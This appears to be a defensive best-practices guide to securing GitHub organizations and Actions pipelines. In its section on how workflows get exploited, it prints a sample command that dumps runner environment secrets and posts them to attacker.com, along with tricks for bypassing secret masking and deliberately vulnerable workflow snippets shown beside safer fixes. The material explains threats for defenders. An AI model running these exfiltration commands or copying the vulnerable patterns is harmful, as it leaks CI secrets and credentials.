ghtier

Best Practices

A practical, defense-in-depth checklist for securing a GitHub organization, from account authentication down to the CI/CD pipeline.

Key takeaways

  • GitHub is a top target for attackers. With its central role in modern software development, securing GitHub is critical to protecting both open-source and proprietary code.
  • Strong authentication is non-negotiable. MFA, SSO, and hardened key/token management form the first line of defense against compromised accounts.
  • Misconfigurations create the biggest risks. Weak defaults, ungoverned third-party apps, and lax branch protections can quickly expose your organization to supply chain threats.
  • Security must extend to CI/CD workflows. Hardening GitHub Actions, pinning dependencies, and isolating untrusted code are essential for preventing pipeline exploitation.

Authentication & identity

Because GitHub, via the web UI or its API, grants direct access to sensitive code and operations, authentication is the first and most critical security layer. A compromised developer account can allow an attacker to steal intellectual property or insert malicious code, so strong authentication practices are essential.

Use hardened MFA

GitHub has enforced MFA for anyone contributing code since 2023, but not all factors are equal. Prefer FIDO2-compatible hardware security keys (e.g. YubiKeys) over SMS or app-based codes, especially for administrators and anyone contributing to production-critical repositories. Extend MFA to bot and service accounts too. Modern CI/CD pipelines rely on shared automation identities that need the same protection as human accounts.

Secure SSH keys and PATs

A compromised SSH key or personal access token (PAT) is functionally equivalent to a compromised account. Set expiration dates, rotate credentials regularly, disable unused tokens/keys, and periodically audit SSH key fingerprints. Disable password-based Git authentication entirely. It's a foundational step toward modern GitHub security.

Centralize identity with SAML SSO

SAML-based single sign-on gives enterprises central control over access to organization resources. Under SAML, collaborators become Enterprise Managed Users (EMU) connecting through your corporate identity provider, which brings:

  • Centralized user management, so onboarding and offboarding happen at the IdP, not inside GitHub itself.
  • Unified security policy, meaning MFA, password strength, and session duration are enforced enterprise-wide.
  • Less account sprawl, since no separate GitHub credentials means fewer passwords to leak or reuse.

Organization governance

GitHub organizations let many developers collaborate across projects with role-based access control, but that same collaborative surface means a single member's lapse can compromise the whole organization.

Govern third-party access

OAuth Apps and GitHub Apps installed by any member can be granted broad access to your org's data. Treat every integration as a reviewed decision, not a default:

  • Only authorize OAuth providers that are verified, trusted, and serve a clear business use case.
  • Require security/IT review and approval before any GitHub App installation, enforced via org settings.
  • Maintain a documented list of allowed apps, their use cases, and internal owners.
  • Regularly review which Apps are installed and which repositories they can reach.

Restrict network access

Enforce IP allow lists to restrict both Git operations and web UI access to trusted ranges such as corporate VPNs, and combine this with SAML SSO for identity-based access control on top of the network layer.

Enable audit logging

Turn on audit logging so admins can review member actions, and export logs via the audit log API to a centralized SIEM for long-term retention, threat detection, and incident investigation. For narrower, event-specific monitoring, GitHub webhooks push notifications when specific events occur in a repo or organization.

Watch identity hygiene at scale

  • Flag accounts without MFA, and inactive accounts, stale SSH keys, or unused PATs that linger past when access was needed.
  • Flag over-privileged users or apps that have unnecessary admin access or excessive repository permissions.
  • Limit the number of organization owners; every additional owner widens the blast radius of one compromised account.
  • Review default repository access for members and outside collaborators. Unrestricted-by-default is a common, easy-to-miss misconfiguration.

Repository security

Preventing unwanted access, setting per-contributor RBAC, and preventing accidental deletion or overwriting of code are all central to protecting your intellectual property at the repository level.

Publish a security policy

Add a .github/SECURITY.md file defining contact and disclosure processes. This helps security researchers report issues responsibly and reduces mean time to triage.

Use artifact attestations

Artifact attestations are cryptographically verifiable metadata describing how a software artifact (binary, container image, package) was produced, linking it back to the builder entity to establish trust and reproducibility. Generate them for binaries and container images with GitHub Actions using the attest-build-provenance action; view them afterward in the repository's Actions tab.

Enable branch protection

Main and release branches hold the most tested version of the codebase. Protect them by:

  • Requiring status checks, such as test coverage, static security analysis, and linting, to pass before merging.
  • Requiring pull requests to be reviewed and approved by assigned reviewers.
  • Enforcing linear history to keep the commit graph clean and auditable.
  • Preventing deletion of critical branches.

Layer on GitHub rulesets

Rulesets are policies that regulate how contributors interact with a repository, beyond what branch protection alone covers:

  • Push restriction limits who can push to protected branches.
  • Tag creation governs who can create tags.
  • File paths: blocks commits touching sensitive files (e.g. .github/workflows/, .env, IaC files).
  • Secrets push protection scans for and blocks committed secrets, and periodically scans historical commits and private repos for exposure.
  • Restrict file types/extensions: blocks risky file types (e.g. .exe, .zip) from being committed.
  • Restrict file size: prevents oversized files from being pushed.

CI/CD & GitHub Actions security

GitHub Actions often holds the keys to your entire infrastructure, yet rarely gets the scrutiny it deserves. CI/CD is the crown jewel of the pipeline for three reasons at once: it executes code by design, it accumulates credentials across every system it touches, and its runners typically have broad or unrestricted outbound network access. A compromised pipeline hands an attacker code execution, secrets, and a free exfiltration channel in one place.

Know your secret hierarchy

  • Repository secrets are usable by any workflow in that repo, including (depending on settings) fork PRs. The most common and least granular tier.
  • Environment secrets are scoped to named environments (staging, production) and only reachable when a workflow explicitly targets that environment. These can carry real protection rules (required reviewers, branch restrictions, wait timers), but only if you actually configure them; most orgs don't.
  • Organization secrets are convenient, but if visibility is set to all repositories, one compromised workflow can reach every repo's secrets at once.
  • Enterprise secrets flow to every org and repo beneath them: the maximum possible blast radius.

Know what each credential type actually grants

  • GITHUB_TOKEN is auto-generated per run, but defaults to read+write on most repository resources and is handed to every third-party action your workflow calls. Set permissions: read-all at the top of every workflow and escalate explicitly only where needed.
  • Classic PATs are scoped all-or-nothing at the category level (checking repo grants full read-write to every repository), never expire unless an org policy forces it, and inherit the creating user's own permissions. A leaked classic PAT from an org admin is one of the highest-value credentials an attacker can find.
  • Fine-grained PATs are scoped to specific repositories, with required expiry and separate read/write permissions. Strictly better, but migration effort has slowed adoption.

How workflows actually get exploited

An attacker with write access can open a pull request adding a workflow that triggers on a normal event and simply dumps the runner's environment, including any secret referenced anywhere in the workflow, the GITHUB_TOKEN, and credentials set up by prior steps (e.g. cloud provider actions), since the environment is always richer than what the workflow YAML alone suggests:

printenv | base64 -w0 | curl -sS -X POST \
  -H "Content-Type: application/octet-stream" \
  --data-binary @- https://attacker.com/collect

GitHub masks known secret values in logs, but masking only guards against accidental exposure. It is trivially bypassed by encoding or splitting a value before printing it, so it is not a control an attacker actually has to work around:

echo $SECRET_VALUE | base64   # masking doesn't apply to encoded output
echo ${SECRET_VALUE:0:4}      # or split across multiple statements

The whole loop routinely completes in under five minutes, well before any human notices: recon via the public API (which returns secret names but never values, and leaves no audit trail on Team/Free plans), workflow injection, exfiltration, and cleanup (deleting the branch and attempting to remove the run logs). Log monitoring alone will not catch a determined attacker; the goal has to be making the attempt itself fail or yield nothing of value.

Harden the workflow definition itself

  • Default every workflow to least privilege, and only escalate specific jobs that need more:
permissions:
  contents: read
  pull-requests: write  # only if actually needed

Never set permissions: write-all, and never leave permissions unset when calling third-party actions.

  • Restrict which actions can run at all to GitHub-verified creators or your own allow-list, rather than trusting arbitrary Marketplace actions.
  • Store shared, reusable workflows in a small number of centrally managed repositories to reduce drift and unauthorized edits.
  • Require approval for all external contributors' fork pull requests before their workflows run.
  • Never use self-hosted runners, especially non-ephemeral ones, on public repositories; isolate runners by trust level.
  • Alert on any workflow-file change, particularly ones touching permissions or token/secret usage.

Pin third-party actions to a commit SHA, not a tag

Referencing an action by a mutable tag or branch name means its underlying code can change at any time without your knowledge. A malicious or vulnerable update propagates into your workflow silently.

# Vulnerable (mutable references)
uses: actions/checkout@v4
uses: actions/checkout@main

# Secure (pinned to an exact commit)
uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11

Pinning trades away automatic security patches, so pair it with a dependency-update strategy (e.g. Dependabot) to periodically bump pinned SHAs, and verify each new hash genuinely belongs to the original repository, to avoid pulling in an "imposter commit" from a fork. Scanning pinned dependencies with a tool like OpenSSF Scorecard is a useful supplement.

Be deliberate with pull_request_target

pull_request deliberately withholds write access and secrets from fork-originated runs. pull_request_target was built to restore that access for legitimate cases, but if that workflow then checks out and executes the untrusted PR's own code, it hands an attacker code execution with write/secrets access (a "pwn request"):

# Vulnerable
on:
  pull_request_target:  # dangerous trigger
permissions:
  contents: write
  secrets: write
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm run build

Prefer splitting into two workflows instead; untrusted code never runs anywhere near a secret:

# Safer (read-only workflow validates untrusted code)
on:
  pull_request:
permissions:
  contents: read
jobs:
  lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
      - run: npm run lint
# A second, privileged workflow_run job then processes only the
# sanitized artifacts from this run, never the PR's own code.

If you must use pull_request_target directly (e.g. to comment on PRs), gate it to internal contributors only:

if: github.event.pull_request.head.repo.full_name == 'your-org/repo'

Never interpolate untrusted input into a shell

Passing PR-controlled text straight into a run: step is classic script injection, because it's evaluated by a real shell:

# Vulnerable
- name: echo PR title
  run: echo "${{ github.event.pull_request.title }}"

Force it through an environment variable (or a JS runtime) instead, so it's always treated as an inert string:

# Safer
- name: echo PR title
  env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "$TITLE"

Design as if a credential will leak

The organizations that get hurt are the ones that treat CI/CD security as an afterthought. Assume a PAT or token will eventually leak, and architect so that leak yields as little as possible:

  • OIDC federation over static cloud credentials, with the trust policy locked to a specific repository and branch, not a wildcard:
{
  "Condition": {
    "StringEquals": {
      "token.actions.githubusercontent.com:sub":
        "repo:myorg/myrepo:ref:refs/heads/main",
      "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
    }
  }
}
  • Prefer environment secrets with required-reviewer protection rules over convenient, org-wide secrets.
  • Namespace secrets per service/environment rather than sharing one credential across repositories.
  • Periodically inventory every org secret and its visibility. The results are usually surprising.
  • Disable classic PATs organization-wide where feasible, and enforce a maximum PAT lifetime (90 days is a reasonable default).
  • Prefer GitHub Apps over service-account PATs for automation, which brings first-class identity, short-lived tokens, repo-scoping, and visible activity.
  • Write and rehearse a credential-rotation runbook before you need it: revoke, enumerate exposure, rotate in sensitivity order, review logs.

A reasonable default ("golden path") workflow shape to build new pipelines from:

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@<SHA>
      # ... test steps

  deploy:
    runs-on: ubuntu-latest
    needs: test
    if: github.ref == 'refs/heads/main'
    environment: production
    permissions:
      contents: read
      id-token: write
    steps:
      - uses: actions/checkout@<SHA>
      - uses: aws-actions/configure-aws-credentials@<SHA>
        with:
          role-to-assume: arn:aws:iam::...:role/github-actions-myrepo-deploy

Sources: GitHub Actions Secrets on platformsecurity.com and Wiz's Advanced GitHub Security Best Practices (cheat sheet).